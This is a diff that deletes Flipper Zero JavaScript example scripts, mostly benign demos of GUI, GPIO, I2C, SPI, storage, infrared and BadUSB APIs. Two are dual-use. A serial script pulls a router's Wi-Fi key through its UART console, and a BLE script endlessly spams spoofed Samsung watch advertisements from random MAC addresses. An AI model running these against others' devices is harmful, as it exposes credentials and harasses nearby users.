sources=["modules/js_serial.c"],
)
App(
appid="js_gpio",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gpio_ep",
requires=["js_app"],
sources=["modules/js_gpio.c"],
)
App(
appid="js_math",
apptype=FlipperAppType.PLUGIN,
entry_point="js_math_ep",
requires=["js_app"],
sources=["modules/js_math.c"],
)
App(
appid="js_storage",
apptype=FlipperAppType.PLUGIN,
entry_point="js_storage_ep",
requires=["js_app"],
sources=["modules/js_storage.c"],
)
App(
appid="js_vgm",
apptype=FlipperAppType.PLUGIN,
entry_point="js_vgm_ep",
requires=["js_app"],
sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"],
)
App(
appid="js_subghz",
apptype=FlipperAppType.PLUGIN,
entry_point="js_subghz_ep",
requires=["js_app"],
sources=["modules/js_subghz/*.c"],
)
App(
appid="js_infrared",
apptype=FlipperAppType.PLUGIN,
entry_point="js_infrared_ep",
requires=["js_app"],
sources=["modules/js_infrared/*.c"],
)
App(
appid="js_blebeacon",
apptype=FlipperAppType.PLUGIN,
entry_point="js_blebeacon_ep",
requires=["js_app"],
sources=["modules/js_blebeacon.c"],
)
App(
appid="js_usbdisk",
apptype=FlipperAppType.PLUGIN,
entry_point="js_usbdisk_ep",
requires=["js_app"],
sources=["modules/js_usbdisk/*.c"],
)
App(
appid="js_i2c",
apptype=FlipperAppType.PLUGIN,
entry_point="js_i2c_ep",
requires=["js_app"],
sources=["modules/js_i2c.c"],
)
App(
appid="js_spi",
apptype=FlipperAppType.PLUGIN,
entry_point="js_spi_ep",
requires=["js_app"],
sources=["modules/js_spi.c"],
)

View File

@@ -1,8 +0,0 @@
let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
print("len =", arr_1.buffer.byteLength);
let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6));
print("slice len =", arr_2.buffer.byteLength);
for (let i = 0; i < arr_2.buffer.byteLength; i++) {
print(arr_2[i]);
}

View File

@@ -1,20 +0,0 @@
let serial = require("serial");
serial.setup("lpuart", 115200);
// serial.write("\n");
serial.write([0x0a]);
let console_resp = serial.expect("# ", 1000);
if (console_resp === undefined) {
print("No CLI response");
} else {
serial.write("uci\n");
let uci_state = serial.expect([": not found", "Usage: "]);
if (uci_state === 1) {
serial.expect("# ");
serial.write("uci show wireless\n");
serial.expect(".key=");
print("key:", serial.readln());
} else {
print("uci cmd not found");
}
}

View File

@@ -1,73 +0,0 @@
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let eventLoop = require("event_loop");
let gui = require("gui");
let dialog = require("gui/dialog");
let views = {
dialog: dialog.makeWith({
header: "BadUSB demo",
text: "Press OK to start",
center: "Start",
}),
};
badusb.setup({
vid: 0xAAAA,
pid: 0xBBBB,
mfrName: "Flipper",
prodName: "Zero",
layoutPath: "/ext/badusb/assets/layouts/en-US.kl"
});
eventLoop.subscribe(views.dialog.input, function (_sub, button, eventLoop, gui) {
if (button !== "center")
return;
gui.viewDispatcher.sendTo("back");
if (badusb.isConnected()) {
notify.blink("green", "short");
print("USB is connected");
badusb.println("Hello, world!");
badusb.press("CTRL", "a");
badusb.press("CTRL", "c");
badusb.press("DOWN");
delay(1000);
badusb.press("CTRL", "v");
delay(1000);
badusb.press("CTRL", "v");
badusb.println("1234", 200);
badusb.println("Flipper Model: " + flipper.getModel());
badusb.println("Flipper Name: " + flipper.getName());
badusb.println("Battery level: " + flipper.getBatteryCharge().toString() + "%");
// Alt+Numpad method works only on Windows!!!
badusb.altPrintln("This was printed with Alt+Numpad method!");
// There's also badusb.print() and badusb.altPrint()
// which don't add the return at the end
notify.success();
} else {
print("USB not connected");
notify.error();
}
// Optional, but allows to unlock usb interface to switch profile
badusb.quit();
eventLoop.stop();
}, eventLoop, gui);
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _item, eventLoop) {
eventLoop.stop();
}, eventLoop);
gui.viewDispatcher.switchTo(views.dialog);
eventLoop.run();

View File

@@ -1,62 +0,0 @@
// Script cannot work without blebeacon module so check before
checkSdkFeatures(["blebeacon"]);
let blebeacon = require("blebeacon");
// Stop if previous background beacon is active
if (blebeacon.isActive()) {
blebeacon.stop();
}
// Make sure it resets at script exit, true will keep advertising in background
// This is false by default, can be omitted
blebeacon.keepAlive(false);
let math = require("math");
let currentIndex = 0;
let watchValues = [
0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15,
0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E,
0x20, 0xEC, 0xEF
];
function generateRandomMac() {
let mac = [];
for (let i = 0; i < 6; i++) {
mac.push(math.floor(math.random() * 256));
}
return Uint8Array(mac);
}
function sendRandomModelAdvertisement() {
let model = watchValues[currentIndex];
let packet = [
14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43,
model
];
let intervalMs = 50;
// Power level, min interval and max interval are optional
blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3);
blebeacon.setData(Uint8Array(packet));
blebeacon.start();
print("Sent data for model ID " + model.toString());
currentIndex = (currentIndex + 1) % watchValues.length;
delay(intervalMs);
blebeacon.stop();
}
while (true) {
sendRandomModelAdvertisement();
}

View File

@@ -1,5 +0,0 @@
print("print", 1);
console.log("log", 2);
console.warn("warn", 3);
console.error("error", 4);
console.debug("debug", 5);

View File

@@ -1,9 +0,0 @@
print("start");
delay(1000)
print("1");
delay(1000)
print("2");
delay(1000)
print("3");
delay(1000)
print("end");

View File

@@ -1,25 +0,0 @@
let eventLoop = require("event_loop");
// print a string after 1337 milliseconds
eventLoop.subscribe(eventLoop.timer("oneshot", 1337), function (_subscription, _item) {
print("Hi after 1337 ms");
});
// count up to 5 with a delay of 100ms between increments
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, counter) {
print("Counter two:", counter);
if (counter === 5)
subscription.cancel();
return [counter + 1];
}, 0);
// count up to 15 with a delay of 100ms between increments
// and stop the program when the count reaches 15
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, event_loop, counter) {
print("Counter one:", counter);
if (counter === 15)
event_loop.stop();
return [event_loop, counter + 1];
}, eventLoop, 0);
eventLoop.run();

View File

@@ -1,65 +0,0 @@
let eventLoop = require("event_loop");
let gpio = require("gpio");
// initialize pins
let led = gpio.get("pc3"); // same as `gpio.get(7)`
let led2 = gpio.get("pa7"); // same as `gpio.get(2)`
let pot = gpio.get("pc0"); // same as `gpio.get(16)`
let button = gpio.get("pc1"); // same as `gpio.get(15)`
led.init({ direction: "out", outMode: "push_pull" });
pot.init({ direction: "in", inMode: "analog" });
button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
// blink led
print("Commencing blinking (PC3)");
eventLoop.subscribe(eventLoop.timer("periodic", 1000), function (_, _item, led, state) {
led.write(state);
return [led, !state];
}, led, true);
// cycle led pwm
print("Commencing PWM (PA7)");
eventLoop.subscribe(eventLoop.timer("periodic", 10), function (_, _item, led2, state) {
led2.pwmWrite(10000, state);
return [led2, (state + 1) % 101];
}, led2, 0);
// read potentiometer when button is pressed
print("Press the button (PC1)");
eventLoop.subscribe(button.interrupt(), function (_, _item, pot) {
print("PC0 is at", pot.readAnalog(), "mV");
}, pot);
// the program will just exit unless this is here
eventLoop.run();
// possible pins https://docs.flipper.net/gpio-and-modules#miFsS
// "PA7" aka 2
// "PA6" aka 3
// "PA4" aka 4
// "PB3" aka 5
// "PB2" aka 6
// "PC3" aka 7
// "PA14" aka 10
// "PA13" aka 12
// "PB6" aka 13
// "PB7" aka 14
// "PC1" aka 15
// "PC0" aka 16
// "PB14" aka 17
// possible modes
// { direction: "out", outMode: "push_pull" }
// { direction: "out", outMode: "open_drain" }
// { direction: "out", outMode: "push_pull", altFn: true }
// { direction: "out", outMode: "open_drain", altFn: true }
// { direction: "in", inMode: "analog" }
// { direction: "in", inMode: "plain_digital" }
// { direction: "in", inMode: "interrupt", edge: "rising" }
// { direction: "in", inMode: "interrupt", edge: "falling" }
// { direction: "in", inMode: "interrupt", edge: "both" }
// { direction: "in", inMode: "event", edge: "rising" }
// { direction: "in", inMode: "event", edge: "falling" }
// { direction: "in", inMode: "event", edge: "both" }
// all variants support an optional `pull` field which can either be undefined,
// "up" or "down"

View File

@@ -1,265 +0,0 @@
// import modules
let eventLoop = require("event_loop");
let gui = require("gui");
let loadingView = require("gui/loading");
let submenuView = require("gui/submenu");
let emptyView = require("gui/empty_screen");
let textInputView = require("gui/text_input");
let byteInputView = require("gui/byte_input");
let textBoxView = require("gui/text_box");
let dialogView = require("gui/dialog");
let filePicker = require("gui/file_picker");
let buttonMenuView = require("gui/button_menu");
let buttonPanelView = require("gui/button_panel");
let menuView = require("gui/menu");
let numberInputView = require("gui/number_input");
let popupView = require("gui/popup");
let viListView = require("gui/vi_list");
let widget = require("gui/widget");
let icon = require("gui/icon");
let flipper = require("flipper");
let math = require("math");
// declare clock widget children
let cuteDolphinWithWatch = icon.getBuiltin("DolphinWait_59x54");
let jsLogo = icon.getBuiltin("js_script_10px");
let stopwatchWidgetElements = [
{ element: "string", x: 67, y: 44, align: "bl", font: "big_numbers", text: "00 00" },
{ element: "string", x: 77, y: 22, align: "bl", font: "primary", text: "Stopwatch" },
{ element: "rect", x: 64, y: 27, w: 28, h: 20, radius: 3, fill: false },
{ element: "rect", x: 100, y: 27, w: 28, h: 20, radius: 3, fill: false },
{ element: "icon", x: 0, y: 5, iconData: cuteDolphinWithWatch },
{ element: "icon", x: 64, y: 13, iconData: jsLogo },
{ element: "button", button: "right", text: "Back" },
];
// icons for the button panel
let offIcons = [icon.getBuiltin("off_19x20"), icon.getBuiltin("off_hover_19x20")];
let powerIcons = [icon.getBuiltin("power_19x20"), icon.getBuiltin("power_hover_19x20")];
let settingsIcon = icon.getBuiltin("Settings_14");
// declare view instances
let views = {
loading: loadingView.make(),
empty: emptyView.make(),
keyboard: textInputView.makeWith({
header: "Enter your name",
minLength: 0,
maxLength: 32,
defaultText: flipper.getName(),
defaultTextClear: true,
}),
helloDialog: dialogView.make(),
bytekb: byteInputView.makeWith({
header: "Look ma, I'm a header text!",
length: 8,
defaultData: Uint8Array([0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88]),
}),
longText: textBoxView.makeWith({
text: "This is a very long string that demonstrates the TextBox view. Use the D-Pad to scroll backwards and forwards.\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse rhoncus est malesuada quam egestas ultrices. Maecenas non eros a nulla eleifend vulputate et ut risus. Quisque in mauris mattis, venenatis risus eget, aliquam diam. Fusce pretium feugiat mauris, ut faucibus ex volutpat in. Phasellus volutpat ex sed gravida consectetur. Aliquam sed lectus feugiat, tristique lectus et, bibendum lacus. Ut sit amet augue eu sapien elementum aliquam quis vitae tortor. Vestibulum quis commodo odio. In elementum fermentum massa, eu pellentesque nibh cursus at. Integer eleifend lacus nec purus elementum sodales. Nulla elementum neque urna, non vulputate massa semper sed. Fusce ut nisi vitae dui blandit congue pretium vitae turpis.",
}),
stopwatchWidget: widget.makeWith({}, stopwatchWidgetElements),
buttonMenu: buttonMenuView.makeWith({
header: "Header"
}, [
{ type: "common", label: "Test" },
{ type: "control", label: "Test2" },
]),
buttonPanel: buttonPanelView.makeWith({
matrixSizeX: 2,
matrixSizeY: 2,
}, [
{ type: "button", x: 0, y: 0, matrixX: 0, matrixY: 0, icon: offIcons[0], iconSelected: offIcons[1] },
{ type: "button", x: 30, y: 30, matrixX: 1, matrixY: 1, icon: powerIcons[0], iconSelected: powerIcons[1] },
{ type: "label", x: 0, y: 50, text: "Label", font: "primary" },
]),
menu: menuView.makeWith({}, [
{ label: "One", icon: settingsIcon },
{ label: "Two", icon: settingsIcon },
{ label: "three", icon: settingsIcon },
]),
numberKbd: numberInputView.makeWith({
header: "Number input",
defaultValue: 100,
minValue: 0,
maxValue: 200,
}),
popup: popupView.makeWith({
header: "Hello",
text: "I'm going to be gone\nin 2 seconds",
}),
viList: viListView.makeWith({}, [
{ label: "One", variants: ["1", "1.0"] },
{ label: "Two", variants: ["2", "2.0"] },
]),
demos: submenuView.makeWith({
header: "Choose a demo",
}, [
"Hourglass screen",
"Empty screen",
"Text input & Dialog",
"Byte input",
"Text box",
"File picker",
"Widget",
"Button menu",
"Button panel",
"Menu",
"Number input",
"Popup",
"Var. item list",
"Exit app",
]),
};
// Enable illegal filename symbols since we're not choosing filenames, gives more flexibility
// Not available in all firmwares, good idea to check if it is supported
if (doesSdkSupport(["gui-textinput-illegalsymbols"])) {
views.keyboard.set("illegalSymbols", true);
}
// demo selector
eventLoop.subscribe(views.demos.chosen, function (_sub, index, gui, eventLoop, views) {
if (index === 0) {
gui.viewDispatcher.switchTo(views.loading);
// the loading view captures all back events, preventing our navigation callback from firing
// switch to the demo chooser after a second
eventLoop.subscribe(eventLoop.timer("oneshot", 1000), function (_sub, _, gui, views) {
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
} else if (index === 1) {
gui.viewDispatcher.switchTo(views.empty);
} else if (index === 2) {
gui.viewDispatcher.switchTo(views.keyboard);
} else if (index === 3) {
gui.viewDispatcher.switchTo(views.bytekb);
} else if (index === 4) {
gui.viewDispatcher.switchTo(views.longText);
} else if (index === 5) {
let path = filePicker.pickFile("/ext", "*");
if (path) {
views.helloDialog.set("text", "You selected:\n" + path);
} else {
views.helloDialog.set("text", "You didn't select a file");
}
views.helloDialog.set("center", "Nice!");
gui.viewDispatcher.switchTo(views.helloDialog);
} else if (index === 6) {
gui.viewDispatcher.switchTo(views.stopwatchWidget);
} else if (index === 7) {
gui.viewDispatcher.switchTo(views.buttonMenu);
} else if (index === 8) {
gui.viewDispatcher.switchTo(views.buttonPanel);
} else if (index === 9) {
gui.viewDispatcher.switchTo(views.menu);
} else if (index === 10) {
gui.viewDispatcher.switchTo(views.numberKbd);
} else if (index === 11) {
views.popup.set("timeout", 2000);
gui.viewDispatcher.switchTo(views.popup);
} else if (index === 12) {
gui.viewDispatcher.switchTo(views.viList);
} else if (index === 13) {
eventLoop.stop();
}
}, gui, eventLoop, views);
// say hi after keyboard input
eventLoop.subscribe(views.keyboard.input, function (_sub, name, gui, views) {
views.keyboard.set("defaultText", name); // Remember for next usage
views.helloDialog.set("text", "Hi " + name + "! :)");
views.helloDialog.set("center", "Hi Flipper! :)");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// go back after the greeting dialog
eventLoop.subscribe(views.helloDialog.input, function (_sub, button, gui, views) {
if (button === "center")
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// show data after byte input
eventLoop.subscribe(views.bytekb.input, function (_sub, data, gui, views) {
let data_view = Uint8Array(data);
let text = "0x";
for (let i = 0; i < data_view.length; i++) {
text += data_view[i].toString(16);
}
views.helloDialog.set("text", "You typed:\n" + text);
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// go to the demo chooser screen when the back key is pressed
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, gui, views, eventLoop) {
if (gui.viewDispatcher.currentView === views.demos) {
eventLoop.stop();
return;
}
gui.viewDispatcher.switchTo(views.demos);
}, gui, views, eventLoop);
// go to the demo chooser screen when the right key is pressed on the widget screen
eventLoop.subscribe(views.stopwatchWidget.button, function (_sub, buttonEvent, gui, views) {
if (buttonEvent.key === "right" && buttonEvent.type === "short")
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// count time
eventLoop.subscribe(eventLoop.timer("periodic", 500), function (_sub, _item, views, stopwatchWidgetElements, halfSeconds) {
let text = math.floor(halfSeconds / 2 / 60).toString();
if (halfSeconds < 10 * 60 * 2)
text = "0" + text;
text += (halfSeconds % 2 === 0) ? ":" : " ";
if (((halfSeconds / 2) % 60) < 10)
text += "0";
text += (math.floor(halfSeconds / 2) % 60).toString();
stopwatchWidgetElements[0].text = text;
views.stopwatchWidget.setChildren(stopwatchWidgetElements);
halfSeconds++;
return [views, stopwatchWidgetElements, halfSeconds];
}, views, stopwatchWidgetElements, 0);
// go back after popup times out
eventLoop.subscribe(views.popup.timeout, function (_sub, _item, gui, views) {
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// button menu callback
eventLoop.subscribe(views.buttonMenu.input, function (_sub, input, gui, views) {
views.helloDialog.set("text", "You selected #" + input.index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// button panel callback
eventLoop.subscribe(views.buttonPanel.input, function (_sub, input, gui, views) {
views.helloDialog.set("text", "You selected #" + input.index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// menu callback
eventLoop.subscribe(views.menu.chosen, function (_sub, index, gui, views) {
views.helloDialog.set("text", "You selected #" + index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// menu callback
eventLoop.subscribe(views.numberKbd.input, function (_sub, number, gui, views) {
views.helloDialog.set("text", "You typed " + number.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// ignore VI list
eventLoop.subscribe(views.viList.valueUpdate, function (_sub, _item) {});
// run UI
gui.viewDispatcher.switchTo(views.demos);
eventLoop.run();

View File

@@ -1,51 +0,0 @@
// Script cannot work without i2c module so check before
checkSdkFeatures(["i2c"]);
// Connect an 24C32N EEPROM to the I2C bus of the board. SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.
let i2c = require("i2c");
function i2c_find_first_device() {
let addr = -1;
for (let try_addr = 0; try_addr !== 0xff; try_addr++) {
if (i2c.isDeviceReady(try_addr, 5)) {
addr = try_addr;
break;
}
}
return addr;
}
let addr = i2c_find_first_device();
if (addr === -1) {
print("I2C device not found");
print("Please connect a 24C32N EEPROM I2C device to the Flipper Zero.");
print("SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.");
} else {
print("I2C device found at address: " + addr.toString(16));
delay(1000);
// first two bytes are the start address (0x0000)
// the remaining bytes are the data to store.
// can also use Uint8Array([0x00, 0x00, ...]) as write parameter
i2c.write(addr, [0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47]);
while (i2c.isDeviceReady(addr, 9) === false) {
print("Waiting for device to be ready...");
}
// write the address to read from (we start at address 0x0001)
// read 3 bytes - 0x42, 0x43, 0x44
let data_buf = i2c.writeRead(addr, [0x00, 0x01], 3, 100);
let data = Uint8Array(data_buf);
print("Read bytes: " + data.length.toString());
for (let i = 0; i < data.length; i++) {
print("data[" + i.toString() + "] = " + data[i].toString(16));
}
// read two more bytes (0x45, 0x46) from current address
data_buf = i2c.read(addr, 2);
data = Uint8Array(data_buf);
print("Read bytes: " + data.length.toString());
for (let i = 0; i < data.length; i++) {
print("data[" + i.toString() + "] = " + data[i].toString(16));
}
}

View File

@@ -1,47 +0,0 @@
checkSdkFeatures(["infrared-send"]);
let infrared = require("infrared");
print("Sending Samsung32 signal (lowers volume)...");
infrared.sendSignal("Samsung32", 0x00000007, 0x0000000b);
delay(1000);
print("Sending raw signal... (Fujitsu AC)");
infrared.sendRawSignal(
[
3298, 1571, 442, 368, 442, 367, 443, 1180, 442, 370, 440, 1181, 442, 368,
442, 367, 442, 368, 442, 1180, 443, 1180, 442, 368, 441, 367, 442, 369, 441,
1180, 442, 1180, 443, 368, 442, 369, 441, 368, 442, 368, 442, 368, 442, 368,
441, 368, 441, 368, 442, 368, 442, 368, 442, 367, 442, 368, 442, 366, 444,
1181, 442, 368, 441, 367, 442, 368, 442, 367, 442, 369, 441, 367, 443, 367,
442, 1180, 442, 368, 442, 368, 442, 368, 441, 368, 441, 1180, 442, 1180,
442, 1181, 442, 1181, 441, 1181, 442, 1181, 442, 1181, 442, 1181, 442, 369,
441, 368, 441, 1182, 442, 367, 443, 367, 443, 367, 442, 368, 442, 1181, 441,
369, 441, 369, 441, 369, 441, 1180, 442, 1181, 441, 369, 442, 368, 442, 367,
442, 368, 441, 1181, 441, 1183, 440, 368, 442, 368, 441, 369, 441, 1181,
442, 368, 442, 367, 443, 1181, 442, 368, 442, 369, 441, 368, 441, 369, 440,
368, 442, 367, 443, 367, 442, 367, 442, 367, 442, 368, 442, 369, 441, 369,
441, 368, 442, 369, 441, 368, 441, 367, 443, 368, 442, 367, 442, 369, 441,
369, 441, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 368,
442, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 369, 441,
368, 441, 367, 442, 368, 441, 368, 442, 368, 442, 368, 442, 368, 442, 367,
442, 1181, 442, 367, 442, 368, 441, 1181, 442, 1182, 441, 1181, 442, 1181,
442, 1181, 441, 368, 442, 368, 442, 369, 441,
],
true,
{ frequency: 38000, dutyCycle: 0.33 },
);
delay(1000);
print(
"Sending raw signal... (Fujitsu AC) with default frequency and duty cycle",
);
infrared.sendRawSignal([
3300, 1596, 416, 362, 448, 363, 446, 1177, 445, 363, 446, 1177, 445, 362, 448,
362, 448, 364, 446, 1178, 444, 1207, 415, 362, 448, 362, 448, 363, 447, 1177,
445, 1177, 446, 362, 448, 362, 447, 362, 447, 362, 448, 363, 447, 362, 447,
363, 447, 363, 447, 363, 446, 363, 446, 362, 447, 362, 447, 363, 446, 1177,
445, 363, 447, 364, 446, 362, 448, 363, 447, 363, 446, 362, 447, 362, 448,
1175, 447, 363, 447, 364, 446, 362, 448, 362, 448, 1176, 446, 362, 448, 362,
448, 363, 446, 362, 448, 362, 448, 363, 447, 1175, 446, 394, 415, 1176, 446,
1178, 444, 1174, 449, 1177, 445, 1180, 443, 1179, 443,
]);
print("Success");

View File

@@ -1,93 +0,0 @@
let eventLoop = require("event_loop");
let gui = require("gui");
let dialog = require("gui/dialog");
let textInput = require("gui/text_input");
let loading = require("gui/loading");
let storage = require("storage");
// No eval() or exec() so need to run code from file, and filename must be unique
storage.makeDirectory("/ext/.tmp");
storage.makeDirectory("/ext/.tmp/js");
storage.rmrf("/ext/.tmp/js/repl")
storage.makeDirectory("/ext/.tmp/js/repl")
let ctx = {
tmpTemplate: "/ext/.tmp/js/repl/",
tmpNumber: 0,
persistentScope: {},
};
let views = {
dialog: dialog.makeWith({
header: "Interactive Console",
text: "Press OK to Start",
center: "Run Some JS"
}),
textInput: textInput.makeWith({
header: "Type JavaScript Code:",
minLength: 0,
maxLength: 256,
defaultText: "2+2",
defaultTextClear: true,
}),
loading: loading.make(),
};
eventLoop.subscribe(views.dialog.input, function (_sub, button, gui, views) {
if (button === "center") {
gui.viewDispatcher.switchTo(views.textInput);
}
}, gui, views);
eventLoop.subscribe(views.textInput.input, function (_sub, text, gui, views, ctx) {
gui.viewDispatcher.switchTo(views.loading);
let path = ctx.tmpTemplate + (ctx.tmpNumber++).toString();
let file = storage.openFile(path, "w", "create_always");
file.write(text);
file.close();
// Hide GUI before running, we want to see console and avoid deadlock if code fails
gui.viewDispatcher.sendTo("back");
let result = load(path, ctx.persistentScope); // Load runs JS and returns last value on stack
storage.remove(path);
// Must convert to string explicitly
if (result === null) { // mJS: typeof null === "null", ECMAScript: typeof null === "object", IDE complains when checking "null" type
result = "null";
} else if (typeof result === "string") {
result = "'" + result + "'";
} else if (typeof result === "number") {
result = result.toString();
} else if (typeof result === "bigint") { // mJS doesn't support BigInt() but might aswell check
result = "bigint";
} else if (typeof result === "boolean") {
result = result ? "true" : "false";
} else if (typeof result === "symbol") { // mJS doesn't support Symbol() but might aswell check
result = "symbol";
} else if (typeof result === "undefined") {
result = "undefined";
} else if (typeof result === "object") {
result = "object"; // JSON.stringify() is not implemented
} else if (typeof result === "function") {
result = "function";
} else {
result = "unknown type: " + typeof result;
}
gui.viewDispatcher.sendTo("front");
views.dialog.set("header", "JS Returned:");
views.dialog.set("text", result);
gui.viewDispatcher.switchTo(views.dialog);
views.textInput.set("defaultText", text);
}, gui, views, ctx);
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
eventLoop.stop();
}, eventLoop);
gui.viewDispatcher.switchTo(views.dialog);
// Message behind GUI if something breaks
print("If you're stuck here, something went wrong, re-run the script")
eventLoop.run();
print("\n\nFinished correctly :)")

View File

@@ -1,3 +0,0 @@
let math = load(__dirname + "/load_api.js");
let result = math.add(5, 10);
print(result);

View File

@@ -1,3 +0,0 @@
({
add: function (a, b) { return a + b; },
})

View File

@@ -1,24 +0,0 @@
let math = require("math");
print("math.abs(-5):", math.abs(-5));
print("math.acos(0.5):", math.acos(0.5));
print("math.acosh(2):", math.acosh(2));
print("math.asin(0.5):", math.asin(0.5));
print("math.asinh(2):", math.asinh(2));
print("math.atan(1):", math.atan(1));
print("math.atan2(1, 1):", math.atan2(1, 1));
print("math.atanh(0.5):", math.atanh(0.5));
print("math.cbrt(27):", math.cbrt(27));
print("math.ceil(5.3):", math.ceil(5.3));
print("math.clz32(1):", math.clz32(1));
print("math.cos(math.PI):", math.cos(math.PI));
print("math.exp(1):", math.exp(1));
print("math.floor(5.7):", math.floor(5.7));
print("math.max(3, 5):", math.max(3, 5));
print("math.min(3, 5):", math.min(3, 5));
print("math.pow(2, 3):", math.pow(2, 3));
print("math.random():", math.random());
print("math.sign(-5):", math.sign(-5));
print("math.sin(math.PI/2):", math.sin(math.PI / 2));
print("math.sqrt(25):", math.sqrt(25));
print("math.trunc(5.7):", math.trunc(5.7));

View File

@@ -1,9 +0,0 @@
let notify = require("notification");
notify.error();
delay(1000);
notify.success();
delay(1000);
for (let i = 0; i < 10; i++) {
notify.blink("red", "short");
delay(500);
}

View File

@@ -1,9 +0,0 @@
let storage = require("storage");
print("script has __dirname of" + __dirname);
print("script has __filename of" + __filename);
if (storage.fileExists(__dirname + "/math.js")) {
print("math.js exist here.");
} else {
print("math.js does not exist here.");
}

View File

@@ -1,92 +0,0 @@
// Script cannot work without spi module so check before
checkSdkFeatures(["spi"]);
// Connect a w25q32 SPI device to the Flipper Zero.
// D1=pin 2 (MOSI), SLK=pin 5 (SCK), GND=pin 8 (GND), D0=pin 3 (MISO), CS=pin 4 (CS), VCC=pin 9 (3V3)
let spi = require("spi");
// Display textbox so user can scroll to see all output.
let eventLoop = require("event_loop");
let gui = require("gui");
let textBoxView = require("gui/text_box");
let text = "SPI demo\n";
let textBox = textBoxView.makeWith({
focus: "end",
font: "text",
text: text,
});
function addText(add) {
text += add;
textBox.set("text", text);
}
gui.viewDispatcher.switchTo(textBox);
// writeRead returns a buffer the same length as the input buffer.
// We send 6 bytes of data, starting with 0x90, which is the command to read the manufacturer ID.
// Can also use Uint8Array([0x90, 0x00, ...]) as write parameter
// Optional timeout parameter in ms. We set to 100ms.
let data_buf = spi.writeRead([0x90, 0x0, 0x0, 0x0, 0x0, 0x0], 100);
let data = Uint8Array(data_buf);
if (data.length === 6) {
if (data[4] === 0xEF) {
addText("Found Winbond device\n");
if (data[5] === 0x15) {
addText("Device ID: W25Q32\n");
} else {
addText("Unknown device ID: " + data[5].toString(16) + "\n");
}
} else if (data[4] === 0x0) {
addText("Be sure Winbond W25Q32 is connected to Flipper Zero SPI pins.\n");
} else {
addText("Unknown device. Manufacturer ID: " + data[4].toString(16) + "\n");
}
}
addText("\nReading JEDEC ID\n");
// Acquire the SPI bus. Multiple calls will happen with Chip Select (CS) held low.
spi.acquire();
// Send command (0x9F) to read JEDEC ID.
// Can also use Uint8Array([0x9F]) as write parameter
// Note: you can pass an optional timeout parameter in milliseconds.
spi.write([0x9F]);
// Request 3 bytes of data.
// Note: you can pass an optional timeout parameter in milliseconds.
data_buf = spi.read(3);
// Release the SPI bus as soon as we are done with the set of SPI commands.
spi.release();
data = Uint8Array(data_buf);
addText("JEDEC MF ID: " + data[0].toString(16) + "\n");
addText("JEDEC Memory Type: " + data[1].toString(16) + "\n");
addText("JEDEC Capacity ID: " + data[2].toString(16) + "\n");
if (data[0] === 0xEF) {
addText("Found Winbond device\n");
}
let capacity = data[1] << 8 | data[2];
if (capacity === 0x4016) {
addText("Device: W25Q32\n");
} else if (capacity === 0x4015) {
addText("Device: W25Q16\n");
} else if (capacity === 0x4014) {
addText("Device: W25Q80\n");
} else {
addText("Unknown device\n");
}
// Wait for user to close the app
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
eventLoop.stop();
}, eventLoop);
// This script has no interaction, only textbox, so event loop doesn't need to be running all the time
// We run it at the end to accept input for the back button press to quit
// But before that, user sees a textbox and pressing back has no effect
// This is fine because it allows simpler logic and the code above takes no time at all to run
eventLoop.run();

View File

@@ -1,29 +0,0 @@
let storage = require("storage");
let path = "/ext/storage.test";
print("File exists:", storage.fileExists(path));
print("Writing...");
let file = storage.openFile(path, "w", "create_always");
file.write("Hello ");
file.close();
print("File exists:", storage.fileExists(path));
file = storage.openFile(path, "w", "open_append");
file.write("World!");
file.close();
print("Reading...");
file = storage.openFile(path, "r", "open_existing");
let text = file.read("ascii", 128);
file.close();
print(text);
print("Removing...")
storage.remove(path);
print("Done")
// You don't need to close the file after each operation, this is just to show some different ways to use the API
// There's also many more functions and options, check type definitions in firmware repo

View File

@@ -1,19 +0,0 @@
let sampleText = "Hello, World!";
let lengthOfText = "Length of text: " + sampleText.length.toString();
print(lengthOfText);
let start = 7;
let end = 12;
let substringResult = sampleText.slice(start, end);
print(substringResult);
let searchStr = "World";
let result2 = sampleText.indexOf(searchStr).toString();
print(result2);
let upperCaseText = "Text in upper case: " + sampleText.toUpperCase();
